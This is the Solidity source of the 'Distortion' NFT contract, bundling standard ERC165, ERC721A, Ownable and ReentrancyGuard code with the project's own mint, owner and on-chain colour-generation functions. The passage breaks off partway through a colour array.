0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM Gas optimization credited to Azuki: https://www.erc721a.org/ */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 1; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupplyA() private view returns (uint256) { return currentIndex; } function totalSupply() public view override returns (uint256) { return currentIndex - 1; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupplyA(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupplyA(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721A.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; contract Distortion is ERC721A, Ownable, ReentrancyGuard { bool public isClaimActive = false; uint public maxSupply = 1000; uint public maxFree = 200; uint256 public price = 0.05 ether; address payable private immutable payoutAddress; // keep track of wallets that have claimed mapping(address => uint) private claimed; mapping(address => uint) private claimedFree; // randomness of block in the future (#xxxxxxxx) string private hashOfBlock; bool private hashSet = false; constructor( address payable _payoutAddress ) ERC721A("Distortion", "DST", 1, maxSupply) { require(_payoutAddress != address(0)); payoutAddress = _payoutAddress; } /* ███╗░░░███╗██╗███╗░░██╗████████╗ ████╗░████║██║████╗░██║╚══██╔══╝ ██╔████╔██║██║██╔██╗██║░░░██║░░░ ██║╚██╔╝██║██║██║╚████║░░░██║░░░ ██║░╚═╝░██║██║██║░╚███║░░░██║░░░ ╚═╝░░░░░╚═╝╚═╝╚═╝░░╚══╝░░░╚═╝░░░ Information on 0xDistortion.com */ function mint() public payable callerIsWallet { require(isClaimActive, "Claim is not active..."); require(totalSupply() + 1 <= maxSupply, "We have no more supply in stock."); if (totalSupply() + 1 > maxFree) { require(price == msg.value, "Wrong ether amount. Free supply depleted."); require(claimed[msg.sender] + 1 <= 2, "Max 2 per wallet."); claimed[msg.sender] += 1; } else { require(msg.value == 0, "Don't send ether for the free mint."); require(claimedFree[msg.sender] < 1, "You can only get 1 free mint."); claimedFree[msg.sender] += 1; } _safeMint(msg.sender, 1); } /* ██████╗░███████╗██╗░░░██╗ ██╔══██╗██╔════╝██║░░░██║ ██║░░██║█████╗░░╚██╗░██╔╝ ██║░░██║██╔══╝░░░╚████╔╝░ ██████╔╝███████╗░░╚██╔╝░░ ╚═════╝░╚══════╝░░░╚═╝░░░ Developer functions: - Dev mint - Dev airdrop - Start the sale/claim - Update the price of the sale - Update the hash/provenance for the reveal (can only be called once) */ function devMint() public onlyOwner { require(totalSupply() + 1 <= maxSupply, "Creator cannot mint if supply has been reached."); _safeMint(msg.sender, 1); } function devAirdrop(address _recipient) public onlyOwner { require(totalSupply() + 1 <= maxSupply, "Creator cannot airdrop if supply has been reached."); _safeMint(_recipient, 1); } function setClaimState(bool _trueOrFalse) public onlyOwner { isClaimActive = _trueOrFalse; } // adding the hash of the block of the last mint to ensure randomness. function updateHash(string memory _hash) public onlyOwner { require(!hashSet, "Randomness hash can only be set once by the deployer."); hashOfBlock = _hash; hashSet = true; } function updatePrice(uint256 _price) public onlyOwner { price = _price; } /* ░██████╗░███████╗███╗░░██╗███████╗██████╗░░█████╗░████████╗██╗██╗░░░██╗███████╗ ██╔════╝░██╔════╝████╗░██║██╔════╝██╔══██╗██╔══██╗╚══██╔══╝██║██║░░░██║██╔════╝ ██║░░██╗░█████╗░░██╔██╗██║█████╗░░██████╔╝███████║░░░██║░░░██║╚██╗░██╔╝█████╗░░ ██║░░╚██╗██╔══╝░░██║╚████║██╔══╝░░██╔══██╗██╔══██║░░░██║░░░██║░╚████╔╝░██╔══╝░░ ╚██████╔╝███████╗██║░╚███║███████╗██║░░██║██║░░██║░░░██║░░░██║░░╚██╔╝░░███████╗ ░╚═════╝░╚══════╝╚═╝░░╚══╝╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░╚═╝░░░╚══════╝ Everything to do with the on-chain generation of the Distortion pieces. */ string[] private colorNames = [ 'White' , 'Red', 'Green', 'Blue', 'Gold', 'Rose', 'Purple' ]; string[] private left = [ 'rgb(140,140,140)' , 'rgb(255, 26, 26)', 'rgb(92, 214, 92)', 'rgb(26, 140, 255)', 'rgb(255, 215, 0)', 'rgb(255, 128, 128)', 'rgb(192, 50, 227)' ]; string[] private right = [ 'rgb(52,52,52)' , 'rgb(230, 0, 0)', 'rgb(51, 204, 51)', 'rgb(0, 115, 230)', 